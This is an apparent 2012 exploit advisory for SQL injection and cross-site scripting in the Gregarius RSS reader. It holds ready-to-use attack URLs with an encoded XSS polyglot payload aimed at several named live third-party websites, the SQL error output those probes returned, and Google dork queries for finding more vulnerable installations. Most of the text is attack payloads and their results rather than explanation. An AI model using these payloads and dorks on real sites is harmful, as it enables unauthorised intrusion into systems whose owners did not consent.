# Exploit Title: Gregarius 0.x.x SQL Injection/Cross Site Scripting
# Date: 7.01.2012
# Author: Sony
# Software Link: http://www.phpkode.com/projects/item/gregarius/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/gregarius-0xx-sql-injectioncross-site.html
..................................................................
Well, when i was looking for xss on the linux-installieren.de i found sql.
We can see : (i want to say that i know little about sql-inj and i don't
can put "full sql" here, sorry)
http://news.linux-installieren.de/LinuxTag:_News/?page=1&media=rss&
http://news.linux-installieren.de/LinuxTag:_News/?page=1[it'shere]&media=rss&
http://news.linux-installieren.de/LinuxTag:_News/?page=1%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&media=rss&
Failed to execute the SQL query
select i.title, c.title, c.id, i.unread, i.url, i.enclosure, i.author,
i.description, c.icon, unix_timestamp(ifnull(i.pubdate,i.added)) as ts,
i.pubdate is not null as ispubdate, i.id , null from news_item i inner
join news_channels c on (c.id = i.cid) inner join news_folders f on (
f.id = c.parent) where not(i.unread & 8) and not(i.unread & 4) and i.cid
= 25 and 1=1 order by ts desc, f.position asc, c.position asc , ts desc,
i.id asc limit 18.88383, 10
Error 1064: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'18.88383, 10' at line 1
It's version Gregarius 0.6.1.
We well see in Google Dorks:
intext:page=1&media=rss&. or intext?page=1&media=atom& or etc..
And we can see some web sites, which use gregarius.
http://news.geocaching-portal.com/Der_Struwwelpod/?page=1[it'shere]&media=rss&.
http://dobeska.net/rss/?page=1[it's here]&media=rss& (oh, i will write
later for admin about it)
And we can see 0.5.5 version:
http://www.totustuustools.net/rss/?page=1&media=rss
Well, but i wanted a find xss in the gregarius and i found it. But only in
another version and with sql too.
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8[it'shere
xss with sql]
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://faustobp.free.fr/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://www.banemacleod.com/lab/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Version :Gregarius 0.5.0, Gregarius 0.5.2,Gregarius 0.4.2..
You can see in the Google Dorks:
inurl:/rss/admin/index.php?domain=
intitle:Gregarius » Feeds Admin
etc..
And here we can see again sql.
Error 1064: You have an error in your SQL syntax..
